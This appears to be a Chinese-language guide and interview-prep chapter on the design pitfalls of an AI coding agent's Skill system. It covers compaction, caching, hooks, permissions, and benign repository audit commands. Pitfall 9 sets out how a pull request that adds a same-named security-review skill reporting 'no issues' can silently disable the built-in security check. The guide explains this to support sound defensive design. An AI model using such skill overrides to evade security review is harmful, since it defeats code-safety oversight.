如果只看"这个仓库有没有实现白名单机制"——有,代码在那儿。 但它不产生任何行为。
这是横向对比时最容易犯的错:
| 判据 | 会得出什么结论 |
|---|---|
| ❌ grep 到符号就算"有这个能力" | sid-code 有白名单安全模型 ✓(错的) |
| ✅ 数生产调用点(排除定义文件和测试) | 零消费者 → 只有黑名单在生效 |
而且要分三档,不是两档:
| 档 | 生产调用 | 测试调用 | 判定 |
|---|---|---|---|
| 活代码 | > 0 | — | 真有能力 |
| 仅被测试消费 | 0 | > 0 | 隐形大头:测试绿,功能死 |
| 真死代码 | 0 | 0 | 本例(连测试都没引用) |
中间那档最危险:它的测试是绿的,所以 CI 不会告警, 而且"有测试"这件事会强化"它一定在工作"的错觉。
14.7 该测的四类,按可行性排序
综合前面几节,给一个务实的优先级:
| 优先级 | 测什么 | 可行性 | 为什么 |
|---|---|---|---|
| 1 | 过程合规(顺序、必经步骤、禁止操作) | 高(看轨迹) | 无需 ground truth,且最匹配 Skill 的语义 |
| 2 | 降级事件 | 高(加埋点即可) | 当前是完全的盲区 |
| 3 | 上下文占用(listing 多少 Token、压缩后重注入多少) | 高 | 成本可见性 |
| 4 | 触发准确率 | 低 | ground truth 问题(14.2) |
注意这个排序和直觉相反:最重要的指标(触发准确率)排在最后, 因为优先级要按"重要性 × 可行性"排,不是按重要性排。 一个测不了的指标,写在文档里也只是装饰。
14.8 本章自检
- 触发准确率为什么是第一优先级?它的四种失效形态分别修什么?
- 为什么它同时又是最难测的?ground truth 的三个来源各有什么问题?
- 「过程合规」为什么是 Skill 最匹配的度量维度?
- 零命中结论为什么必须先反向自证?
- 「仅被测试消费」这一档为什么比"真死代码"更危险?
- 为什么最重要的指标排在优先级最后?
第 15 章 · 十四个真实陷阱
这一章是全文的浓缩,也是面试区分度最高的部分。每个陷阱的结构统一: 症状 → 根因 → 判据 → 怎么答。
前面章节讲过的会标注章号,可以回查;但这里的表述是独立的,能单独读。
陷阱 1 · Skill 在长会话里静默失效(§6)
症状:agent 前 20 轮按流程做事,40 轮后开始自由发挥, 但它看起来还是在正常工作,没有任何错误。
根因:上下文压缩把 3000 Token 的流程指令摘要成了 "用户要求遵循 deploy 流程"这一句——语义正确,但完全不可执行。
判据:
压缩时保留什么,判据是**「有没有重获路径」**,不是「重不重要」。 文件路径还在,能重读 → 可以摘要。Skill 连路径都拿不到 → 必须原文重注入。
怎么答:这是最能一句话拉开差距的陷阱。答"我们会在压缩后重新注入 Skill 原文"是及格;补上"判据是重获路径而不是重要性, 因为重要性主观、重获路径可判定"是优秀; 再补"而且这条判据给出了主动手段——想让某类信息能被安全摘要,就先给它建重获路径" 是加分。
陷阱 2 · SKILL.md 超过 5000 Token 的部分会永久消失(§6.6)
症状:Skill 写了 8000 Token,前期表现正常,一次压缩后, 写在后半部分的规则全部失效。
根因:压缩后重注入有单个 Skill 的 Token 上限(【CC】5000), 超出部分截断,保留头部。
判据:
"SKILL.md 建议控制在 5000 Token 内"不是写作建议,是硬边界。 超出的部分在第一次压缩后物理上不存在了,且无任何提示。
怎么答:这条的价值在于把"Gotchas 要前置"这条软建议 升级成了硬理由——从"注意力衰减(概率性削弱)"变成"截断(确定性消失)"。 同一条建议,论证强度差一个量级。
陷阱 3 · 描述写长了,浪费的是首轮缓存创建费(§5.2)
症状:Skill 描述写得很详细,感觉"每轮都在付费"。
根因:实际的成本结构是 首轮 × 1.25 + 后续每轮 × 0.1—— listing 是稳定前缀,注定被缓存,所以真实痛点是首轮的 cache_creation。
判据:
而且这笔钱买不到东西:源码注释明确说
without improving match rate——描述变长不提高触发准确率。
怎么答:能把"描述写短"的理由说到 cache_creation 这一层, 证明你看过账单分项而不只是读过文档。优化方向是「更精确」,不是「更完整」—— 这两个词在动手时完全不同:前者是删歧义,后者是补细节。
陷阱 4 · 那个"逻辑上更合理"的注入位置是最贵的(§7)
症状:把 Skill 列表放进 system prompt(因为它"逻辑上属于系统级信息"), 然后发现新建一个 Skill 会让整个会话变慢变贵。
根因:Prompt Cache 缓存的是前缀,一个字节都不能变。 system prompt 在最前面,改它 = 整个会话的缓存全废。
判据:
设计任何常驻上下文时,第一个问题不是"它逻辑上属于哪里", 而是**"它在缓存前缀的哪一段 + 它多久变一次"**。
怎么答:这个陷阱的杀手级答法是列出四个决策、一个约束: listing 不放 system prompt、条件激活单向不撤销、压缩后不重新宣告列表、 不用使用频率给列表排序——四个看起来毫不相干的决策, 追到底全是 Prompt Cache。能串起这四个,说明你理解的是约束而不是条款。
陷阱 5 · 一个自然的优化被架构否掉了(§7.6)
症状:你有一份 Skill 使用频率数据,想"把常用的排前面提高触发率"。 做不到。
根因:listing 是 append-only 增量注入的, 架构上根本没有"重排列表"这个操作——重排 = 改历史 = 缓存全废。
判据:
静态列表不能带排序,语义检索可以—— 因为检索是每轮生成新附件,本来就是新内容,不涉及改写历史。
怎么答:这是一个只有读过源码才能得出的结论。 它还顺带回答了"下一代方案为什么走语义检索"这个前瞻题。
陷阱 6 · Hooks 不是 Skill 作用域的(§9.2)
症状:你以为 Skill 跑完 hooks 就摘了。没摘,它活到会话结束。
根因:注册键是 sessionId。而且这不是偷懒—— inline Skill 没有"结束"这个信号:它的内容是注入主对话的一段消息, 模型读完就继续干活了,什么时候算执行完?没有信号。
判据:
once: true是唯一的提前退出,它把"该不该摘"的判断权交给了 Skill 作者。 运行时判断不了的语义,不要猜——暴露开关,让知道答案的人来标。
怎么答:公开文档全都写"scoped to the component's lifecycle"就停了。 给出完整推理链(会话级 + inline 无结束点 + once 下放判断权 + 约束延续其实是正面效果,因为 deploy 的保护应该覆盖收尾工作) 是这个主题里最容易差异化的一处。
陷阱 7 · 权限判定放在 hooks 注册之后(§3.2)
症状:一个被拒绝执行的 Skill,它的拦截器已经装上了, 而且因为 Skill 本身没跑,没人想到去卸载。
根因:注册 hooks 和执行 Skill 的代码常在同一个函数里, 而权限检查往往是后来补上的——补的时候容易图方便放在后面。
判据:
任何"申请 + 副作用"的流程,副作用必须在审批之后。 "拒绝"绝不能变成"半执行",尤其不能是危险的那半。
怎么答:sid-code 把这条写成了源码里的"顺序铁律"。 面试里指出"我会检查权限判定和副作用注册的先后"是很具体的工程直觉。
陷阱 8 · 安全检查的 fail-safe 方向反了(§10.3 / §10.4)
症状:给 Skill 加了一个新的危险字段,忘了同步"敏感字段表"—— 结果是静默放行,不弹框。
根因:黑名单遍历的是"我知道的危险项",白名单遍历的是"Skill 实际有的项"。 前者对未知字段默认放行,后者默认拦截。
判据(这是本章最好用的一个通用问法):
当有人忘了更新这份清单时,系统会变得更严还是更松? 更严 = 方向对(白名单)。更松 = 方向错(黑名单)。
怎么答:这一条我在 sid-code 里现场核出了实例: 注释声明的是白名单语义,代码实际遍历的是黑名单,而那个白名单常量零消费者。 当前 26 个字段全被覆盖所以没有漏洞,但防线的方向是反的—— 它依赖每个加字段的人都记得,而白名单不依赖任何人的记性。
说这类问题时必须带上这个区分:「现在就是 bug」和「结构上迟早出 bug」 是两件事,后者是设计洞察,前者才是批评。
陷阱 9 · 就近优先让任何 PR 都能覆盖内置安全 Skill(§12.2)
症状:项目级 Skill 优先级高于内置(像 CSS、像 npm,很符合直觉)。 于是任何人 PR 一个同名的 security-review/SKILL.md,内容写"未发现问题", 就关掉了内置的安全检查——而这个 PR 不改任何代码。
根因:把 Skill 当成了配置项(取一个值,就近覆盖合理), 而它实际是可执行能力(注册一个能力,被劫持的后果严重一个量级)。
判据:
这个东西被恶意来源覆盖后,后果是「产出不对」还是「安全事件」? 前者可以就近优先,后者必须信任优先。
怎么答:注意公平地说——纯个人使用、无外部贡献者时, 就近优先更符合直觉。这是典型的"当前规模正确、下一个规模是 bug": 一旦有不可信贡献者,方向必须反转。
陷阱 10 · 用 inode 做文件唯一性(§12.4)
症状:Skill 在 Docker 容器 / NFS 挂载 / 外置盘上全被去重掉只剩一个。
根因:inode 在虚拟、容器、NFS 文件系统上可能全返回 0, 在 ExFAT 上有精度损失。所有文件被判为同一个。
判据:
任何"文件唯一性判断",只要代码要跑在别人的机器上,就不能信 inode。 用
realpath(解析符号链接后的规范路径)。
怎么答:这条挂着一个真实 issue 编号,说明是线上炸出来的。 它是"教科书做法在真实环境退化"的一个干净例子—— 用 inode 判文件唯一性在任何操作系统教材里都是标准答案。
陷阱 11 · 压缩是污染放大器(§6.8)
症状:一条低置信度的推测("用户可能需要用 X skill"), 经过一次压缩,变成了历史叙述里的事实,此后再也没法被质疑。
根因:摘要过程会把"当时的推测"叙述成"发生过的事", 并且丢失"这只是个推测"这个标记。
判据:
任何进入摘要输入的内容,都要先问「它是事实还是推测」。 推测性内容(推荐、猜测、低置信分类结果、失败的尝试) 要么剥掉,要么在摘要 prompt 里显式标注性质。
怎么答:这条的普适版本更值钱—— 任何"信息变换"环节(摘要、翻译、结构化提取、跨 agent 交接)都会丢失元信息, 而"这是推测不是事实"恰恰是最容易丢的那类。
我以前把上下文污染和上下文压缩当成两个独立话题, 这条让我看到压缩是污染的传播和放大机制。
陷阱 12 · 降级造出了一个谁都发现不了的失效模式(§5.9 / §14.4)
症状:用户的 Skill 描述被削成只剩名字,触发精度在下降。 用户不知道,产品方也不知道(【sid】零埋点;【CC】只对内部用户上报)。
根因:降级机制做对了(可用性优于报错), 但没有给这个状态转移留痕迹。
判据:
设计降级时必须同时设计「降级的可观测性」, 否则你造了一个用户永远发现不了的失效模式。
怎么答:这是"可观测性缺口"的教科书形态—— 不是"数据不够多",而是某个特定的状态转移没有留下痕迹。 面试里讲降级机制时主动补这一句,是很强的完整性信号。
陷阱 13 · 成本封顶了,就以为不需要淘汰了(§12.6)
症状:预算 + 三级降级让 Skill 元数据成本恒定在 1%, 于是"删掉旧 Skill"这件事看起来没必要了。
根因:淘汰的动机变了,不是消失了。 降级把成本从"上下文爆掉"(显性)转移成了 "描述被削导致触发精度下降"(隐性)。
判据:
一个机制被"解决"之后,要重新问一遍: 它当初要解决的问题真的没了,还是换了个形态?
怎么答:我在那三份文档里整篇都在算 Token, 完全没算触发精度的衰减——而后者才是真正该盯的指标。 再补一句"而且淘汰是组织决策,单机数据回答不了'团队还需不需要它'—— 我 90 天没用 incident-rca 恰恰因为这 90 天没出事故",就很完整了。
陷阱 14 · 模型标识符携带了副作用维度(§8.6)
症状:Skill 的 frontmatter 写 model: opus,用户会话跑的是 opus[1m]。 调用这个 Skill 后会话突然被压缩了,毫无道理。
根因:naive 实现把模型名直接覆盖成 opus, 于是上下文窗口从 1M 掉回 200K——而会话可能已经用了 30 万 Token。
判据:
模型标识符不是原子值,它携带了副作用维度。
opus和opus[1m]在"用哪个模型"这维相同,在"多大窗口"这维差 5 倍。 作者的意图是前者,实现却把后者一起改了。
怎么答:推广成通用陷阱—— 任何"部分覆盖"的配置合并,都要问:被覆盖的字段是否携带了调用方没打算改的语义。 这类 bug 的共同形状是"一个字段名描述一个维度,但它的值编码了两个维度": model: "opus[1m]"、timeout: "30s-with-retry"、env: "prod-readonly" 都是。
15.15 陷阱速查表
| # | 一句话 | 章节 |
|---|---|---|
| 1 | Skill 在压缩后静默失效;判据是重获路径不是重要性 | §6 |
| 2 | 超 5000 Token 的部分压缩后永久消失,不是写作建议 | §6.6 |
| 3 | 描述写长了浪费的是首轮 cache_creation,而且买不到触发率 | §5.2 |
| 4 | 逻辑上最合理的注入位置(system prompt)是成本最贵的 | §7 |
| 5 | 按频率给 listing 排序被缓存架构否掉了 | §7.6 |
| 6 | hooks 是会话作用域,不是 Skill 作用域 | §9.2 |
| 7 | 权限判定必须早于 hooks 注册,否则"拒绝"变"半执行" | §3.2 |
| 8 | 黑名单 fail-safe 方向反了;问"忘了更新会更严还是更松" | §10.4 |
| 9 | 就近优先让任何 PR 都能覆盖内置安全 Skill | §12.2 |
| 10 | inode 在容器/NFS/ExFAT 上不可靠,用 realpath | §12.4 |
| 11 | 压缩是污染放大器:推测经摘要变成事实 | §6.8 |
| 12 | 降级必须配可观测性,否则失效模式无人可见 | §5.9 |
| 13 | 成本封顶后淘汰的动机换了形态(省钱 → 保精度) | §12.6 |
| 14 | 模型标识符携带副作用维度,部分覆盖会连带改语义 | §8.6 |
如果只背三个:1、6、8。 第 1 个是这个领域唯一"不知道就一定踩"的坑; 第 6 个是公开文档全写错的地方; 第 8 个是那个可以随身带走的通用问法。
第 17 章 · 术语表与学习路径
17.1 二十条一句话结论
全文的可迁移结论,按重要性排。这一节可以单独当复习卡片用。
| # | 结论 | 章节 |
|---|---|---|
| 1 | 压缩时保留什么,判据是「有没有重获路径」,不是「重不重要」 | §6.4 |
| 2 | 允许自我修改的范围 = 已经存在外部审计和回滚机制的范围 | §11.3 |
| 3 | 先问"这个决策有没有确定性判据",有就别交给模型 | §4.3 |
| 4 | 设计常驻上下文时,先问"它在缓存前缀哪一段 + 多久变一次",不问"逻辑上属于哪里" | §7.5 |
| 5 | 能力降级优于能力丢弃;砍"剩余可用性最高"的那个,不砍"最不重要"的 | §5.4 |
| 6 | 安全检查方向自测:忘了更新清单时,系统会变更严还是更松? | §10.3 |
| 7 | 纯开销型的常驻上下文,预算按窗口比例定,不按绝对值定 | §5.1 |
| 8 | 人在回路要做成架构断点,不能靠提示词——模型能推理出"这次是例外" | §11.3 |
| 9 | 运行时判断不了的语义不要猜,暴露开关让知道答案的人来标 | §8.3 / §9.4 |
| 10 | 把原则变成结构约束(必填字段),否则它落不了地——结构缺失可检查 | §2.3 |
| 11 | 选默认值看"哪种猜错更容易被发现",不看"哪种更常见" | §8.4 |
| 12 | 任何"申请 + 副作用"的流程,副作用必须在审批之后 | §3.2 |
| 13 | 权限检查放在信息最全的那一层(来源只在注册时已知) | §9.5 |
| 14 | 收缩入口比审核内容便宜——最便宜的审核是让内容永不落盘 | §10.7 |
| 15 | 设计降级时必须同时设计降级的可观测性 | §5.9 |
| 16 | 压缩是污染放大器:推测经摘要变成事实,且丢失"这是推测"的标记 | §6.8 |
| 17 | 复用已有的信任/审计边界(git root、git diff),不要发明新的 | §12.5 |
| 18 | 淘汰是组织决策,单机数据回答不了"团队还需不需要" | §12.7 |
| 19 | 指标排序按"重要性 × 可行性",测不了的指标写在文档里只是装饰 | §14.7 |
| 20 | 零命中结论必须先反向自证:先证明命令能抓到真东西 | §14.5 |
如果只记三条:1、2、3。它们分别管住了存活、演化、发现—— 也就是这个系统的三个要害。
17.2 术语速查
| 词 | 一句话 | 章 |
|---|---|---|
| Progressive Disclosure | 分级加载。四级不是三级 | §4 |
Level 0 / paths: | 条件激活,靠文件路径匹配。零成本零错误 | §4.2 |
| listing | 常驻的"我有哪些能力"清单 | §5 |
MAX_LISTING_DESC_CHARS | 单条描述的字符硬上限 | §5.2 |
| 三级降级 | 完整 → 截断 → 只剩名字 | §5.3 |
disableModelInvocation | 唯一让常驻成本归零的开关,代价是失去自动触发 | §5.8 |
cache_creation | 写缓存,1.25× 单价。描述写长了主要惩罚这一笔 | §5.2 |
| compaction | 上下文压缩。Skill 的头号杀手 | §6 |
| invokedSkills | "本次会话用过哪些 Skill",压缩后靠它复活 | §6.3 |
| 重获路径 | 判断"能不能被摘要掉"的判据 | §6.4 |
| inline / activate | 注入主对话,持续约束后续每一轮 | §8 |
| fork / delegate | 子代理执行,只回结果。默认值 | §8 |
| session-scoped hooks | hooks 的真实作用域:会话级,不是 Skill 级 | §9.2 |
once: true | hooks 唯一的提前退出机制 | §9.4 |
| SAFE / SENSITIVE 属性 | 白名单 vs 黑名单,fail-safe 方向相反 | §10.3 |
| 就近优先 / 信任优先 | 分层覆盖的两种方向,判据是"被劫持的后果" | §12.2 |
realpath 去重 | 不能用 inode(容器/NFS 上返回 0) | §12.4 |
| frecency | 频率 × 新近度。只用于斜杠补全,不用于 listing 排序 | §7.6 |
| 过程合规 | Skill 最匹配的度量维度,可自动判定 | §14.3 |
| 自演化 | agent 提议改 SKILL.md + 人确认。已在生产 | §11 |
17.3 三条学习路径
路径 A:我要能听懂别人在说什么(2 小时)
§0 → §1 → §4 → §5.1-5.4 → §6.1-6.4 → §15 速查表
跳过所有源码片段,只看表格和判据。读完能参与讨论。
路径 B:我要准备面试(一天)
通读,重点 §4、§5、§6、§7、§9、§11。 然后只看 §15 和 §16,把 §16 的答案骨架念出来—— 写下来会的和说得出的是两回事。
最后回到 §17.1 那二十条,确认每一条你都能说出"为什么它的反面诱人"。
路径 C:我要动手实现(按这个顺序)
- 加载 + frontmatter 解析(§1.1)
- listing + 预算和三级降级(§5)
- ★ 压缩存活(§6)—— 不做这步,前两步在长会话里全白费
- 注入位置(§7)
- inline / fork 分流(§8)
- 权限(§10)→ 然后才是 hooks(§9),顺序不能反(§3.2)
- 条件激活(§4.2)
- 埋点:先埋降级事件(§14.4)
- 最后才是自演化(§11)
注意第 3 步的位置。 它排在这么前面的理由不是实现难度, 而是它的失效是静默的,所以不会有人来报 bug 提醒你补(§16 Q25)。
附录 A · 可复跑命令
全部在 sid-code 仓库根目录下执行,我在写这份文档时逐条跑过。
A.0 三条搜索铁律
# ① 一律用 rg -a,不用 grep —— NUL 字节会让 grep 静默零输出
# ② 排除文件用 -g '!path',不要用管道 grep(会漏掉多行匹配)
# ③ ★ 零命中结论必须先反向自证:先证明命令能抓到真东西第 ③ 条是本附录最重要的一条。"我搜了没搜到"本身不是证据—— 可能是命令写错了。每个零命中结论前面都要有一次成功命中。
A.1 预算常量(对应 §5.1)
rg -a -n 'SKILL_BUDGET_CONTEXT_PERCENT|DEFAULT_CHAR_BUDGET|MAX_LISTING_DESC_CHARS|MIN_DESC_LENGTH' \
packages/core/src/skill/budget.ts实测输出(2026-08-31):
15: export const SKILL_BUDGET_CONTEXT_PERCENT = 0.01;
36: export const DEFAULT_CHAR_BUDGET = 8_000;
38: const MAX_LISTING_DESC_CHARS = 250;
40: const MIN_DESC_LENGTH = 30;A.2 ★ 白名单是死代码(对应 §10.4)
这是本附录最值得抄的一段,因为它演示了铁律 ③。
# ① 先反向自证:搜一个确定存在的符号,确认命令有效
rg -a -c 'SENSITIVE_PROPERTIES' packages/core/src/skill/permission.ts
# 实测:2 ← 命令有效,这时零命中才有意义
# ② 再搜目标(排除定义文件)
rg -a -c 'SAFE_SKILL_PROPERTIES' -g '!packages/core/src/skill/permission.ts' packages/
# 实测:零命中 ← 连测试都没引用,是真死代码
# ③ 确认没有 barrel 文件间接导出
ls packages/core/src/skill/index.ts
# 实测:No such file ← 无 barrel,排除间接引用读法:注释声明白名单语义(permission.ts:7-8), 实际生效的是黑名单(:57-65 遍历 SENSITIVE_PROPERTIES)。 两者 fail-safe 方向相反。
A.3 当前无漏网字段(对应 §10.4)
上一条说"方向反了",这一条证明"但现在还安全"—— 两个结论必须一起给,否则会被误读成"有漏洞"。
# 提取 SkillDefinition 的字段名
sed -n '/^export interface SkillDefinition/,/^}/p' packages/core/src/skill/types.ts \
| grep -oE '^ [a-zA-Z]+\??:' | tr -d ' ?:' | sort > /tmp/f.txt
# 提取两张表(注意用 awk 不用 sed —— sed 会因括号不平衡报错)
awk '/SAFE_SKILL_PROPERTIES = new Set/,/^\]\);/' packages/core/src/skill/permission.ts \
| grep -oE '"[a-zA-Z]+"' | tr -d '"' | sort > /tmp/s.txt
awk '/SENSITIVE_PROPERTIES: Array/,/^\];/' packages/core/src/skill/permission.ts \
| grep -oE '"[a-zA-Z]+"' | tr -d '"' | sort > /tmp/n.txt
echo "字段 $(wc -l < /tmp/f.txt) / 白名单 $(wc -l < /tmp/s.txt) / 敏感 $(wc -l < /tmp/n.txt)"
# 实测:字段 26 / 白名单 19 / 敏感 7
# 既不在白名单、也不在敏感表的字段
comm -23 /tmp/f.txt <(cat /tmp/s.txt /tmp/n.txt | sort -u)
# 实测:空 ← 当前无漏网字段⚠️ 分母声明:这个"26"是当前 SkillDefinition 的字段数。 加了新字段就要重跑——这恰恰是 §10.4 说的问题:安全性依赖每次都记得重跑。
A.4 压缩重注入无预算(对应 §6.5)
# 反向自证:确认能抓到函数体
awk '/private buildInvokedSkillMessages/,/^ }/' packages/core/src/context/manager.ts | wc -l
# 实测:22 行 ← 抓到了
# 搜截断/预算相关关键词
awk '/private buildInvokedSkillMessages/,/^ }/' packages/core/src/context/manager.ts \
| grep -cE 'truncat|slice|budget|MAX|limit'
# 实测:0 ← 无截断、无预算,全文原样注入
rg -a -n 'PER_SKILL|SKILLS_TOKEN|MAX_TOKENS_PER_SKILL' packages/core/src/
# 实测:零命中 ← 无对应常量A.5 降级无埋点(对应 §5.9 / §14.4)
rg -a -n 'truncated|descriptions_truncated' packages/core/src/skill/实测:只命中 builtin-embedded.generated.ts 和 evals 用例里的无关字符串 (CI 日志截断场景的测试数据),降级路径本身零命中。
⚠️ 这条要小心口径:如果只看 rg -c 的数字会以为有命中。 必须看命中的具体位置——它们全在测试数据里,不在 budget.ts 的降级分支。 这是"字符串匹配"和"语义命中"的差别,也是 §14.5 那条铁律的另一个侧面。
A.6 内置 Skill 计数(对应 §1.3)
echo "builtin(目录型): $(ls packages/core/src/skill/builtin | wc -l | tr -d ' ')"
echo "bundled(编译内联): $(ls packages/core/src/skill/bundled/*.ts | wc -l | tr -d ' ')"
# 实测:builtin 8 / bundled 12(bundled 的 12 个含 index.ts 和 registry.ts 两个非 Skill 文件, 所以实际 Skill 数是 10——这就是"分母比分子重要"的一个小例子: ls | wc -l 数的是文件数,不是 Skill 数。)
A.7 加载优先级(对应 §12.1)
sed -n '55,70p' packages/core/src/skill/loader.ts实测输出(注释即事实):
* 加载来源(按优先级从低到高):
* - builtin ... - user:~/.sid-code/skills/ - project:{projectDir}/.sid-code/skills/加上 loader.ts:65-66 的 managed 层注释: managed 层最高优先级,覆盖同名 user/project。
→ 完整顺序:builtin < user < project < managed(就近优先 + managed 置顶)。
A.8 条件激活是单向的(对应 §4.5)
rg -a -n '只进不退|dynamic.set|conditional.delete' packages/core/src/skill/conditional.ts
# 实测:
# 10: * dynamic(运行时激活,只进不退)
# 55: this.dynamic.set(name, skill);
# 56: this.conditional.delete(name);没有反向操作(没有 conditional.set + dynamic.delete 的配对), 所以"只进不退"不只是注释里的说法,是代码结构的事实。
一句话结尾
Skill 这件事,说到底就是把一次做对了的过程录下来,让以后每次都能照着回放。
录制不难。难的是回放——在五十个候选里挑对一个, 在一个百分之一的预算里说清自己是谁, 并且在会话跑到第四十轮、上下文被压缩之后,还记得自己在遵循什么。
而这个系统几乎所有的失效都是安静的。它不报错,它继续自信地干活。 所以**"没出事"从来不构成证据**——这可能是本文唯一一条希望你带走的话。